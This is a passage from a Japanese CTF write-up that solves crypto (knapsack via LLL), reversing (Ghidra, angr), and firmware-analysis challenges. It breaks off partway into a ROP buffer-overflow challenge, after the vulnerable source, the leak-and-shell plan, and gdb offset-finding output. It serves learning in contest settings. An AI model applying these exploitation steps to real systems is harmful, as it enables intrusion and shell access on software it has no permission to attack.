11163457967473117384909170091800080756098465652817504823829957246101519582406623920562879665741186067843806160145308672039236647314452825448974599553726514, 9053783100187331404171412931836385824515184111948767809413867380276679820649936390889334178130847227206809033839795986237398002538596094506862090790079370, 9819981805416004420939228090848428270273275315135728420672592580587456849727183520386676637280961225785470170028563422457684520710033836815957352641076656, 9099422152831608846445523884690686488729801810193179742928892208927495088869678721490572756945304623223593124143301850937075818103925239158419916092455832, 4423577950698286460626059676874777666863173105923291070406075608137350484265775306538076488967427903876263455370640828955831433683427915837489787681571104, 8756602113276572584327515563541785021885156596606825926384196017746588797560380054132379478133281808160622488923734499010823093056004931483459821079878584, 333126719900068218649984650898276581721876314324829547579365535415969541796750123020026055084245123391225191139147600319762747033880097952001528586613619, 7369702367521762727060275952126910129673008169982509956632808176742772738596846920777046904811187475688291150543995266534651134952974656031439986139640279, 2082799199108465498916580083784704029374798612211554268896160342266763106031569342542856087063877321514991732991254030062209651901743851475358154981091336, 8372258715871921984711084318371475306529362956110229335731717773030170640559593876258151246392797433258993127356247484151533876227372092507704978818762299, 11363939608613542162316118345022960798510877466323811731267325707620939632567030190215087390814765739175622571243027333413495842968402118709843171345209057, 3369719356483561545444940792209404189671394809909673685150113895593885526741601117980579861293222360031506015395948410107943057618465847851857629017021337, 3891507040973395370891557095282687378471080702589144672203318739556917713281013957214254764662956395750402238983505175330658129247692117209748428646988979, 4841437298113170733673811622315491999860260018197250450712753745063206624775276093082643398955242651840094676440631824725064149754775763109535437072598329, 5285163136257383594317771821481380172518348255388334236768828515368456565257150986678782783096670986106218219974638745661030434504183981097992990683389834, 7244116929896986409152403472296524576447775663505970094108789986102399989798939651538136211134583253147368128866311176849015387662060018429204373203882917, 7148506525887590405588915139400704234523641207593915972629337111053532230604043569291551513966362985886466513012302064587708085238549323074532238261929105, 9963569892216434098358658807251534860655159021141499917379945920250313978770919657650973084221026686207963270148354989236871921037008125320635811012429562, 4083231038473288903981795364527141098698470950916969669140777386661810905824053818094335667187521576982089894722121785936689098719720641047141775887885619, 2783788314467957767626366294911171310778689255399742535622249802506963607071489599250401846151948395505808426552847045942384003413532965612237381621803281, 9480491617103309579842630556508755350939077789372196051463181228494854894713982210404024973543443376963252760676054552352172548702910903277458343177156566, 3635429364237267158097629083423075371334216134912102395399443587668365674217468957824903594013330904699195406402865693233751839584364352027341368755854935, 10512981667787343474434123766399499997477931436681258061313671140829123476643229877218327020307534330562667672313170203756349669502382157014339683250964247, 9523260882926982368319161046924327498415945065442619931245103165210783676690576930491155298561540325169832005257298960723638671214008183533978109799943226, 8821529840762200230987342601372713314571576667046848202753835140978481743059025729341547664906327089784889179309805528352373783300015409440694498526802453, 3889011833429464584665382058129163296830025770986703817534403311481298622682949913268185847076341119959231106603819499559066684839808723190986345797294730, 6297833894994750508332367344339230109576795350737018003925458747380227258991762309042244773127464626474655334235127595180446112677686417583728900997000407, 1760580993763018538952442776136678506892159758376177668343574661932032517138571264664041285910343183567929592789229684581190582868840885043494028059145548, 1878349075050149698900567649931858097059976052165743708683218061733003305198473269136227375120889463183154947939758601333339524877223521121998759362189694, 1153881028955172548796413995891509447158808154001092914831702555572321224472153757269063442351457270745992276168611327881189379302990513606066403785037397, 1354358223850339886669589906081771646741444582933245990266741503788401468880301111475162932826849753299053269048808168611803883992487116859632452934337117, 2543377884923981424206502982559952756662944312446884306172193873371281396271026877421637622091903368826348654608641732603862340627036661889590442947531927, 11180070331634863421659326942954695855354411135806527591627639434182163636572574833713806184536037752699260808146541362264028865594295761466526576972822841, 1876044157639270095152731171181080065397794949339134253513517014818122966068827775030685216937939154007734964960492393433966781954313208696759345941096572, 10371430099994185472204699548408748044905813408067850241238238375805107275941350946511274188710313819596480556092765947208731899524618164738003278717300827, 11062773114779865261456167102313685917798343978846196446106343403832714394829785645472593554347810116685987941912922522999627132764032557020449831422203646, 10054072863070251371743882375307803093121932615191109140649824301459981488908599582245204018730319415235637278900632334082353686886849433443418405120003345, 11899130436532794506852251375418519516682965538478411626134165694080477666467891621837514385290629527954317340066073791969068384836623478676900518078492144, 3800279300556347862463102798984354928617374220518396876660726722145475720924549768399286700699390419995192400567218086102399360340221316874256916817269786, 1454947148349065856463673503402856502963580434612167600249860095631651888047663819039861980434456089663660230397115050479224033897345798648510977653561999, 2042470330662475573678989377098661429766022525672425312136276901388618218130280731245706624788119897930174958967595406027605059992960882778388524742722706, 1234466316196775376839414369545576872418957414559143172775038206383525000927730516952675718815486990989447248421995842318819533894488233801079449620739194, 9271029179787872970578591499796305060434913207434694840381590014888853464622436665409168097643583816031775853388603609072558269628091676020362129748533199, 4774006049363181543707013424043619624722110752475263766809952707315716132555412365539258234954892899737076119368604420130439903122534513533911949833743235, 623110557039911730730761834817043413841225662260405544713333348288325346206246696815306384870033925067051567408116233686600986656157873843902741673267719, 2069564772459439803719938786548180498693262686543372238863965419552080267984035520909550576789640672747255124939459370750757373319167495387965403174747875, 7009930087547627207463341159618322389574790808227199206178856629902591585272159790554326172427287447472376543486549214941749592725452858178087430338966770, 1949579642601550445176938316267401962008340575271606619055456197313569922910186952978532646082714333411065815595963623697989602613867680323849962329445328, 11473102336200916747844954216116155097772201756920091057358990979985199603080222884336057264448248212309791104537148189404198070915699582464690841703029405, 1149619512535738601211196767922880108257082979896142736945084581216263253245359015735818442104694183806457438676420946219043390360617857622541114743356625, 2728451593413071164353755775705571417160504975979542074503589190184105228575509775437861194810114128293804518550015503478674215376973558551801959937646423, 7348551730526134269844474344843320874593220152077150721293689908105376303123526293549457485523388054871559487100009886469120877549640875229125679910062900, 3980652757335090376997966895588998245582192975449382011909532268728853465365643067981211212812543763607316362585146788052930930128811388536930969342059979, 6027435835414897879227982281610804883898257447430395373655482693982905460207165696577025993816548891414301115457107032212880895723138070720653764226458649, 4935176743833633453254610852208777179108847720614483842026980697614902097198030677572108382421721697955784940692357115100326157600867058374344306754345335, 11380188380193543686552603209635990889129830058847840211484047666443921358239983121578443798338622961931123079081312386043081771886474890372630867350934523, 302987216748498327772215483663698180358086916475422751109337904686429747813576273027596185544180584711869887380062832681724092251772710838738355782182450, 811143629811997853354681978704899746490333224184384674857937414780703218886854529258709525197480284388948037380964255401025910568649894324446856632636592, 1912197174748050506709090151289853815332962565872780585712134602155119195678387971652769864474405775662028797382605103443081542911360430369860062463563893, 7291021864361814150510118731044864385204363543462889467753348110602838791870962501076106462997795429050059428094480878740697465713025274178808092567542212, 10470454741786470619594017615965958273332950307267197723934552764686005671405407576286379932688897606971338908824726882615845921705580372546409941175331037, 10181553581483434681781949968008741740061264764289389453230798650897899608022705896680919782100794147183000150901376195723151791411050033951290283786019977, 4258448968850182298881050787339455844058983218447958438955469542872009797484665292406639737321421521390721898187715427947024660792416519473288140642795272, 665126950818270052200683167429361468415424104577516367369570410295667254789977695909839338561441230603199269238113935924286711971526139364836371465706219, 5778603245576121661625744968094217982871142011195728227336698796177623583983932093421170892589521281377735094971545437150524492567792401307382096969659571, 9041169568361270824631079916805143667485107440403819673118982324331196605243710736252243694585470054722017092703832685314107118663876738553603881090379765, 8431011838980342769799616288411243768347548689119233157208349141492002200386542305507576767212556262869263553150643023836392407323405139253427329269366753, 8553706268926206579355730973791660092353863784751509372422644440790878753983928717623545538807559356829947772453965617876985508934310354104621043687587875, 6085701268163349706176631571460435367494457139886003603182612764217346443544862940087286859921717077555924920693652181971614741028158787295175507903805498, 8258027474231127629757419236092115748878321896277358390666269357460217304432166604893188156062734768320200621455881016473474077406349529408491337579070619, 217331193100935107368229358299722097535960890408924136554062054994468178500442930497503537444463416350072629320109394984373121597844999496670174734623901, 2615530940468368976430415020232745908496491487732778845358342691984855337966644151086347954705207248347432846086811344429509626971772151674138828479034407, 9960118652490492442626264557722940366236550945756405929154467678797068007119691196073161215135625171292061966393931591117075379707418718493207613281734128, 11883479956336240751620508565956647791575906464658043904847102787653384413540737438954113122506827116919889512801006983398795266218225358709015970474796209, 6152285147387893134308305627413716697035724893956326980324894196703036047676192332607132054448632203410660151536148743152836146945863580679445515576633313, 3087204177300702725903801544645938527062384514542059207838072215532344688679150676602943592074143292505943525492596313110869017003113441178426953737136320, 3757237385014563017951360020497685657808716037369726973798008159647192565347911506203832144238975399303316833405799994094392890515318875781045298318308651, 4174290778215893394677957264252893474678237242610027055294712957192373957647857206677916027186240373718927301908828095938016364127818908516883960408679053, 3748803300372512770866385104654922154470904205965026771319291886728164245927197518590781953321238268806575463481225816414707349949847056384636893007457721, 8034791604871081754393742620809047036249538255482307958153762277184366357510690505406748023739482129037447179804389566282826743874110772660769989993214140, 3647010606069854412551850026099222166287473701386238939796403152511252931742239857496752497988938568540423402614995772990646648482450299155961694607003150, 7806003716386838238944347755133023427857127411524200971653891977428639559902033732325074590574245675288515664031976582135757036821962959301244591185185836, 562123165970750916018523521274665280554207579150705704505991893938951905226252420500731924279293805682202106917135997949779952378356926548090996464183261, 10017225347599062251185778825601433952376955965940785104804810153710575101527601556073680944735221687545673318069762612385520657594749285103779943556203859, 11034121495368102793824149104460238045159050590264281508159716286752391769866225931653206949515929308837443453281068270892449202454489663082251103597579414, 1393756984740491625980042801423925923652694124513215825983448770637319821986725266222696274322782094225350417979883496797845297892870351570641796736429365, 3894233430764171021978166251097684223603711526228678617083090942307219791681305224470393733859806270321706191768448575635613494955972821171942019155576022, 5038527951098793046808059643802686028797058725403977118364390586086699770072322326201266880837915838731709376700104758344376656110092506598359671395752201, 9060876869828818448898852928359252910511417178029126609685283138824053964178895354434001568085161220224819591618740459295638904077934235248948941835465621, 1213284553098562533791961352335340028855774866108118873722749495214290050781676187996449060540282711962596299780371703456279525985966066640468482695387037, 9458104547506301061680450860449196327062010922531182109678643885802054328886528832025671540545677869267828858508683156236410816570296275103437238768105346, 10040054309381342148323598117554716384177326501952268974305486266186254782754797649740498654297024089530806441993039549600316509292085634401892126157777725, 2276927462611754797775080537543333252522721301228205773464099348201834053373985987075600025798802656981615274790492592630699705223288330490059041063861371, 11556387618265616484447806363024761014562917993396940861921977454240032115257066203918497109784248023494996743861411413922697151976403744004551897333587419, 9889259553854405678741508034426455964451772337345174356626295292298205602394952451135449468310970347202594428138122580204423010430923553611754754581066813, 7868119367862772149704911491499473892301419246641480987785226518125812257513053330287476237691301677750429689882087996945744571488509040895507410804183873, 11508002714196611606395235648239725836815494703321432338230737422973329400113158960696048138066722457604799065695576108785835121800314850011501948179743038, 10619053976801844838774915437764267913028709258001605358060442557707903258319114013374183185245387748828857617374056519624892149856249176171314055188176610, 201114180079927977316442203939901331713590891511639359168566794984727753167419382266922071288806881033628450144449718352186865225718313149653818834069046, 2190019323352646788039891107369737594638195699052572482340522786006963164742529768845844542244804881489436879523607337606022137474264008443779753796524324, 8994078524243073711186983175744445990617668670221279088217344780392324816856868718135841406968011026331111428134944981275543409823808438028673340180600361, 6533284532224150900776455616895133851200922713727543406843945334153660021579927964092546898761699064888593901931845363003227384361960946837683468780536186, 2900049820355985276596651350970201641910754953548208005611546296295010850954727597768565027123529585734943900449339351229077414389982399805851238537614728, 1005880173354315818215910490344169033790331192510294503391908220666556408162907870924876819721045548763740285934029434904116009033147300587812755020644144, 4429054545144565886236734238945768223549483534284407724097387393750175064863874353898699526770177337528927941471007913087408339512025427531471222352188598, 1285938780473331065877152772696342220861565553509736020905508189616388274844286113355903326372890919435684927488271321733483666403913781504709399179873478, 4159150342515004345261144815031223818657482125521340153877247384204372764658422497390807502845508068305611676258953299381534589394265725368949773437475664, 6576053057257377078820906137528289451395389785096859241738114487306122040955968123160457777083015623663591073050698149441279744926252972821085393074005333, 1378738974519907914149249225442590530115602428508531939708952252356105515635440550944988163800986109078848963934554394890364246215667532562795230121599389, 7530997786399165063460850133858426260366809458237917996971974273555406375229986518119701973615401731228222820028200964035186619721317616016026502478833825, 11371420348305380659910667615045099750167009510608284140696036190712641050353322760033584623633845930207049409269889108127939128060387804390620146397391005, 1406722966782959654726752002298837227734989674210304975712947321382221136256184622554373120305519551329471835182546103526035414290130221817761536912957815, 5758051768032037692984394788957178321113409313718798728174793963781211431894591306550233406904077870173730087305011890560525061122641038861810843224356132, 8375592464786617292066912032437580000072737070264996613521303068301506481293691262141521386631735548118808483692010811823373696054502206285565746271896624, 9625907624488495507256482396243781284122158414224512296964826016170998792851176860574572431609386683318175698871706280650379052753758050216492793527676711, 6077121672943640395277987812076880734154021482921918507769764026301498404990781416398855464804098928307277904801175596028922879606596629086997501055486057, 10938317339216777969309005338771442572315779569919804097449082853678275737846462681571834649938887549054815344340466436822987440964989371612298886307178807, 10266683373756264194186447415036327152615834323531488817490014686098650065547689251785469369732777946066207328196236032745636606950149996263882005409859068, 8427162246188488278348961620437187641769838216136551139544284534863388602834144470655144389658677000026573199236022413391175268573166429748835445411482658, 5717464833792973913319562092059026311110221447664287634460947091552289507231429020487445388817891744834227397036749333830249281129481189357590616693269535, 6388818019678030249042408529039004378409245276686402664154657767440109416203769306619383018656924981215056511384850552069151122129846170533781262522748912, 8058907696340647071107754590699635637331185362322234472755551469964443477794313636568312465633167061469262463754899612550256454461142900371675688057900157, 2650747991231745389958958911304551569853139256346350929307683312550450872545634238374819072544315331311085466011529241531384249952089342273098825176365572, 1795582396480470137527176284050645710132884527117486543781042591101197373917145734791679886383698097545356710330294515054344795103981124797423720912065788, 3052494597227398062986766578785396078205343919129668957958403133104993465160270251274373731365131485657799744057254790666584712327793616306716481909813582, 10125274627175346533926610345531381215155487891981319401506773913530942967488666544216346832250066513931463806744742351603339791989023259173734707387511997, 4905680337396302183882293200926552057123452464915594706482473859546742047185066973667304120028692253252104621914547092876701216499304788257812361954677824, 6788406585087459374008868766038523502662818879678483645630850915173078456811145138541048171988301388863438344097400187657040868535924005858978037488288657, 7987535346230340897650689272410982431583013895248851443363614799158842046321593827278953603690586270590653576153599776704899221489125881490179734913546180, 8668917726517583777868824898842831799933140622366155997499295528164949892618224804058794268889856672657589162182942581708183617533722037397902258002530895, 9655881640658079998109185276195348247028848976437592393891872239361101495373466311759967129786284249009503363294866452781555176175074514406596570855032885, 2243254436239103264649148279923978439297113563084946410869285186376198427685827681488062426734892419878174177945847856801922284074524600494618385520306773, 1370395445224087129252981159080973354642721975377684037523867648255769044694663959614655088192001525836838035825117690852844390101675187401512396538329654, 4656356018264588713126970771096540938860534429248562594457229986461965010462394518948976087164472484086375527533066794826178852068228773967304732965776642, 399595104452867236939487452774442870382730185220898620972098982860940846257358797206676225999483077781771650287888749325035861259261575979039839692262492, 6713094317103593591035416401288016658374527895040216154450781797709219652499792405003768632192355326331160459215694094704931391013755418496926953624700285, 1355018836283025742708846544067619719808654650957172598457945625126225415187893386450296522915846040605946952638451856428941453174991662324580099164411759, 8507312388193815039448605936770163526583300978792064893979853487224838987061551285368575763268148426788906220831176609730056029700392843807931184213757186, 2390915763452094063824684068272365759171848406604147217738985384144180505204991956237689281338506240218745984753955055494680218520622041831641785650384604, 5078775779350968152334228179925283860790974436015640731121894535584508877508449803458104048591112435333313257450614663322502851401769525184404429846816662, 1425564122989501182786990586943993793473032764333069827246235450438848390559886137108308116686220076822910325740852447268122991165884941809370496785162762, 3241557185717009458583866491496790535555873425192682369967408484532454523143616622825602173631183439057048896614677331862355583135778598344467632239621265, 11153886486498005363601960922463467341760192139357482824612504299845068740009509797094949564531439906328941599335110459532334944225340180499338091922473414, 4750339554868896196047869851866222454424215998958859589162250220636186354219417775182461279765710413851720284554693629603182622333067705806099109845670979, 3931689678588961771487503092252686799044554895341999274823183685441609027829749616204909660105256179107533811726668939651921392965108014523612326438454763, 11187638131483583043295930937674327604068710567565996413543552914014991119808667664531916767958198065684486668485361079752275150252491497563209373369489026, 7951154730710536892216170200330921561976344676074745084927394513732709335427919379562575393123463516219422246176438982950570737516171571233794420196666886, 1672105185912794004124818038268311924305321636283766784591904708276129195324814049081791432685559117731983780119720703133146952521104542489075767958624517, 5961298351722930109958690694504209488357119642165137305859737050609557432218480991926525556188466406512020308464626017185419266848018117342271389200068990, 2614791092577719712081127427916398870473955060880008274836166534656201118982263931935400058828969825633552149733933209355913619475322640831081073991096019, 7585989640990063110599210948433357802190782090362288612653066977287873913659636348347931158157250612988653924395845263983389111801086659635847485205155792, 4431808088762149440258933713632651937723965113354466368892895978425300447231680836376644074059558059224711681073893610493216931561336057461872809335815419, 7803424065303659891769090326828845084396802995889011459387130902032712116540019926662218626165288561308869447406929573895286984344209221478683590810037836, 11333465632518722706044944069452368469429296564009722650087924377614457953420253199332209735022605809814036297664863446336960387614479076573269329031750987, 9015046896873406255435786931788379566338694649982989302643634589663708173842716795343443511577662905506449004999936754531825070165614729532129356052128575, 11605497784351360234525700004313542522479606465344927573861628615111353117631482629714381940820675064966051516229437449884465509791106407640656382300239363, 3618112506546716532317705417297714426926133719388251635042604657890418824749256430743547870156065078623067964196242241099881802766943775618184489388984614, 2961952780271618644341511265207741924062876582075139491069703688326317506273106501877576791814338926919371801113717337612487657355874282727562430403186215, 1959860827301876193534452473130565833580576931994622570402458534809572211163546248253809832512083364950948854715506995993724605349255618000388575898620819, 9522502213326349795872611375564340926065360170250620972307193996920225151270140085190219961878238320516211124175040938476084033356336641564459714925394556, 6822893241651652944802867129943790227179941374865599671130155956732332020891862363512840518812230889010452540282244203720602490116223523996809092557679690, 6857422579671283864309505737866570751014092920497487113429028085441724197811232340915656160313885768238889308579776669697849014732800696848033650297379889, 4018143097421566596818458699109838662675933060812340723092984957628021473520663072311941893877060261979047503976803401869798199151609532367574647600368003, 6194607058501590733164566924844005093710661715500276174295952934514177124661068706559499237499314609830082367219229089919247640185368549101514384767175538] cipher = 1010137180395931262752398681857488526009620802401167859543237801022630704004744078316133982172587856565491470015404484864890095896964409269987597733836611756
probrem.py を読むと、Merkle-Hellman ナップサック暗号で暗号化しているのが分かる。
ナップサック暗号は、低密度の場合 LLLアルゴリズムで解けるらしい。
以下を参考にスクリプトを書いて実行すると、フラグを取得することができた。
参考: https://github.com/everping/ctfs/blob/master/2015/4/plaidctf/crypto/lazy/solve.py
from Crypto.Util.number import long_to_bytes def create_matrix_from_knapsack(ciphertext, pub_keys): last_col = [] for p in pub_keys: last_col.append(int(p)) last_col.append(ciphertext) last_row = [1 for i in pub_keys] my_matrix = MatrixSpace(ZZ, len(pub_keys))(2) m_last_row = matrix(ZZ, 1, len(last_row), last_row) m_last_col = matrix(ZZ, len(last_col), 1, last_col) my_matrix = my_matrix.stack(m_last_row) my_matrix = my_matrix.augment(m_last_col) return my_matrix def is_short_vector(vector): for v in vector: if v != 1 and v != -1 and v != 0: return False return True def find_short_vector(matrix): for row in matrix: if is_short_vector(row): return row def main(): with open('output.txt', 'r') as f: pub_key = eval(f.readline().strip().split('=')[-1]) cipher = eval(f.readline().strip().split('=')[-1]) my_matrix = create_matrix_from_knapsack(cipher, pub_key) new_matrix = my_matrix.LLL() short_vector = find_short_vector(new_matrix) solution_vector = [] for v in short_vector: if v == 1: solution_vector.append(0) elif v == -1: solution_vector.append(1) print(solution_vector) flag = int(''.join(map(str, solution_vector)), 2) print(long_to_bytes(flag).decode()) if __name__ == '__main__': main()
$ sage solve.sage [1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1] ctf4b{Y35!_I_ju5t_n33d3d_th353_num63r5!}
ctf4b{Y35!_I_ju5t_n33d3d_th353_num63r5!}
reversing
only_read
バイナリ読めなきゃやばいなり〜
chall 271938a479a59fe40438b9ecf0e2fca002fe085b
想定難易度: Beginner
chall を Ghidra でデコンパイルすると、以下のような処理が確認できた。
CyberChef で文字を取り出して、並べるとフラグになった。
ctf4b{c0n5t4nt_f0ld1ng}
be_angry
読みづらいからって怒らないでください😢
chall 1f28957cd66a7ed62240f51535db0eb547a0ef2d
想定難易度: Medium
chall を Ghidra でデコンパイルすると、以下のような分岐がたくさんある処理が確認できる。
Correct!! と表示させているアドレスを探して、angr にそのアドレスを指定して実行するとフラグが表示された。
import angr import sys base_addr = 0x400000 correct_addr = base_addr + 0x2539 bin_path = './chall' proj = angr.Project(bin_path, load_options={'auto_load_libs':False}) state = proj.factory.entry_state(args=[bin_path]) simgr = proj.factory.simulation_manager(state) simgr.explore(find=correct_addr) state = simgr.found[0] print(state.posix.dumps(0))
$ python3 solve.py WARNING | 2021-05-22 03:53:05,482 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2021-05-22 03:53:06,134 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2021-05-22 03:53:06,135 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9)) WARNING | 2021-05-22 03:53:06,137 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9)) b'ctf4b{3nc0d3_4r1thm3t1c}'
ctf4b{3nc0d3_4r1thm3t1c}
firmware
ctf4b networks社のページからファームウェアをダウンロードしてきました。
このファイルの中からパスワードを探してください。
firmware.tar.gz d8cee86716be435c1abf6eec8a821a8f2717af18
想定難易度: Medium
firmware.bin が問題で与えられている。
file コマンドでは、data と判定されていて中身が何かよく分からない。
$ file firmware.bin firmware.bin: data
テキストエディタで開いてみると以下のようになっており、さまざまなデータが混在しているように見える。
binwalk を実行すると、以下の結果が表示された。
$ binwalk firmware.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 127 0x7F Base64 standard index table 2343 0x927 Copyright string: "Copyright 2011-2021 The Bootstrap Authors" 2388 0x954 Copyright string: "Copyright 2011-2021 Twitter, Inc." 83503 0x1462F PNG image, 594 x 100, 8-bit grayscale, non-interlaced 83544 0x14658 Zlib compressed data, best compression 90593 0x161E1 ELF, 32-bit LSB shared object, ARM, version 1 (SYSV) 100906 0x18A2A Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o 103485 0x1943D JPEG image data, JFIF standard 1.01 117167 0x1C9AF PEM certificate 117786 0x1CC1A HTML document header 118641 0x1CF71 HTML document footer
ARM の ELF ファイルが含まれているようなので、binwalk で抽出して Ghidra で確認する。
$ binwalk -D 'elf:bin' ./firmware.bin $ file _firmware.bin.extracted/* _firmware.bin.extracted/14658: dBase III DBT, version number 0, next free block index 64513 _firmware.bin.extracted/14658.zlib: zlib compressed data _firmware.bin.extracted/161E1.bin: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, BuildID[sha1]=d4fde2a811fccb987ffb2e075b170db18f797b8a, for GNU/Linux 3.2.0, not stripped
Ghidra で処理を確認すると、recv でデータを受け取り、そのデータを 0x53 で1文字ずつ XOR しながら、比較している処理が見える。
比較元のデータを確認すると、以下のようになっている。このデータを 0x53 で XOR すればフラグを取ることができる。
Ghidra Python で以下のようにすると、フラグに変換できた。
>>> enc_flag = getBytes(toAddr(0x10ea4),0x10f97-0x10ea4) >>> ''.join([chr(b ^ 0x53) if b != 0x00 else '' for b in enc_flag]) 'ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}\n'
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
pwnable
beginners_rop
Do you like programming?
Did you know Return Oriented Programming?
nc beginners-rop.quals.beginners.seccon.jp 4102
beginners_rop.tar.gz de065e6f6fd8dfd632aa763b8b20bf5dc8ec8ea0
想定難易度: Easy
以下のファイルが与えられている。
- Makefile
- src.c
- chall
- libc-2.27.so
src.c は以下のようになっており、バッファオーバフローの脆弱性がある。
#include <stdio.h> #include <unistd.h> char *gets(char *s); int main() { char str[0x100]; gets(str); puts(str); } __attribute__((constructor)) void setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
以下の方針で今回の問題を解いていく。
- バッファオーバフローを利用して、
puts を呼び出し、puts のアドレスをリークさせる。 - リークさせた puts のアドレスを用いて、libc のベースアドレスを求める。
- libc の ROP チェインを使って、シェルを呼び出す。
まずは、pattc と patto でリターンアドレスまでのオフセットを求める。
$ gdb -q ./chall Reading symbols from ./chall...(no debugging symbols found)...done. gdb-peda$ pattc 0x150 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%' gdb-peda$ run AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA% [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7b003c0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x7ffff7dd59e0 --> 0x0 RSI: 0x7ffff7dd4483 --> 0xdd59e0000000000a RDI: 0x1 RBP: 0x2541322541632541 ('A%cA%2A%') RSP: 0x7fffffffe208 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%") RIP: 0x4011c9 (<main+51>: ret) R8 : 0x7ffff7dd59e0 --> 0x0 R9 : 0x0 R10: 0x7fffffffdec0 --> 0x0 R11: 0x246 R12: 0x4010b0 (<_start>: endbr64) R13: 0x7fffffffe2e0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4011be <main+40>: call 0x401070 <puts@plt> 0x4011c3 <main+45>: mov eax,0x0 0x4011c8 <main+50>: leave => 0x4011c9 <main+51>: ret 0x4011ca <setup>: endbr64 0x4011ce <setup+4>: push rbp 0x4011cf <setup+5>: mov rbp,rsp 0x4011d2 <setup+8>: mov rax,QWORD PTR [rip+0x2e87] # 0x404060 <stdin@@GLIBC_2.2.5> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe208 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%") 0008| 0x7fffffffe210 